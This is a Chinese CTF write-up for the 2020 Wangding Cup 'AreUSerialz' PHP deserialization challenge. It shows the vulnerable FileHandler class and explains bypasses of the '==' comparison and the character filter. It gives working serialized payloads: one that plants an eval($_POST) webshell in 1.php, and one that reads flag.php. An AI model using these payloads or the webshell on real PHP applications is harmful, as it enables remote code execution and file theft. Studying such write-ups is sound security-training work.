[网鼎杯 2020 青龙组]AreUSerialz

考点:
PHP反序列化
源码:

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

漏洞原理

php7对类属性类型不敏感。
php=====的比较绕过。

查看源码可以看出,GET方式传入变量str,会经过反序列化得到一个类的对象$obj

再看类FileHandler ,在read()函数中发现了敏感函数file_get_contenst()、在write()函数里面发现了file_put_contents

而这两个函数在process函数中,被调用了,当op==‘1’时,调用写函数,当op==‘2’时,调用读函数。而process函数在__destruct()中被调用了。

__destruct函数中对op使用了===比较,在process()函数中使用了==比较,此时可以用数字op=1绕过,===会比较函数两边点的类型是否一致,而==不会。

再传入str的时候,发现对str进行了过滤,is_valid对传入的参数进行了检查,只允许ascii为32-125的字符传入。
而protected权限的变量经过序列化后会产生%00*%00%00的ascii码为0
在这里插入图片描述

此时可以将属性类型改为public来绕过。因为php7对类属性类型不敏感。

那么此时有两种思路:
第一种思路:写一句话进去
构造一个FileHandler 类的实例的序列化字符串传入str,str被反序列化得到$obj,就是FileHandler类的实例。
在这个程序结束时,实例obj被销毁会调用__destruct()函数。此时如果obj->op==1,就能将 $content写入到$filename里面去。
构造payload:

<?php
class FileHandler {

    public $op=1;
    public $filename="1.php";
    public $content='123<?php eval($_POST[1]);?>';
}

$a= new FileHandler();
$b=serialize($a);
echo $b;

paylaod:

?str=O:11:"FileHandler":3:{s:2:"op";i:1;s:8:"filename";s:5:"1.php";s:7:"content";s:27:"123<?php eval($_POST[1]);?>";}

在这里插入图片描述
报错,没有写文件的权限。

第二种思路:直接读flag.php

<?php
class FileHandler {

    public $op=2;
    public $filename="flag.php";
    public $content="";

}

$a= new FileHandler();
$b=serialize($a);
echo $b;

payload:

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}

get flag。
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值